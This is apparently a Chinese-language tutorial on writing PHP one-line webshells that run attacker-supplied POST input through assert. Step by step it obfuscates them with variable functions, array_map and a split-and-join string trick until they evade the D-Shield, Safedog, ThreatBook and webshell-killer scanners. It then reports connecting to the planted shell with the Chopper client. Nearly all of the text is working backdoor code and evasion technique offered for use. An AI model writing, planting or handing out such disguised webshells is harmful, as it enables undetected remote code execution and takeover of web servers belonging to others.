首先一句话木马:
<?php assert($_POST[\'a\']); ?>
D盾扫描,5级
分开写:
1 <?php 2 $a = "assert"; 3 $b = $_POST[\'a\']; 4 $a($b); 5 6 ?>
D盾扫描,4级
使用可变函数的技巧(PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途)
1 <?php 2 $a = "assert"; 3 $fun = "a"; 4 $$fun($_POST[\'a\']); 5 ?>
D盾扫描,3级
使用array_map()函数(为数组的每个元素应用回调函数)
1 <?php 2 $a = "assert"; 3 $fun = "a"; 4 array_map($$fun, array($_POST[\'a\'])); 5 ?>
D盾扫描,2级
把assert处理一下
1 <?php 2 function f(){ 3 $s = "aABKingsABKingsABKingeABKingrABKingt"; 4 $arr = explode("ABKing", $s); 5 $result = $arr[0].$arr[1].$arr[2].$arr[3].$arr[4].$arr[5]; 6 return $s; 7 } 8 $a = $_POST[\'a\']; 9 $s = f(); 10 array_map($s, array($a)); 11 ?>
D盾扫描,1级
既然显示数组字符串合并,那么我们再处理得复杂一些
1 <?php 2 function argu($a, $b){ 3 $ext = explode(\'ABKing\',$a); 4 $ext1 = $ext[0]; 5 $ext2 = $ext[1]; 6 $ext3 = $ext[2]; 7 $ext4 = $ext[3]; 8 $ext5 = $ext[4]; 9 $ext6 = $ext[5]; 10 $arr[0] = $ext1.$ext2.$ext3.$ext4.$ext5.$ext6; 11 $arr[1] = $b; 12 return $arr; 13 } 14 $b = $_POST[\'x\']; 15 $arr = argu("aABKingsABKingsABKingeABKingrABKingt", $b); 16 $x = $arr[0]; 17 $y = $arr[1]; 18 array_map($x, array($y)); 19 ?>
D盾扫描,成功免杀
安全狗扫描,免杀
微步,免杀
webshell killer,免杀
接下来拿菜刀连接,成功:
这里稍微再列举几个可以替换array_map的函数:
array_filter()
call_user_func_array()
参考资料:
如何优雅的隐藏你的webshell:https://mp.weixin.qq.com/s/lExi2_y4NkTak735kpz4ug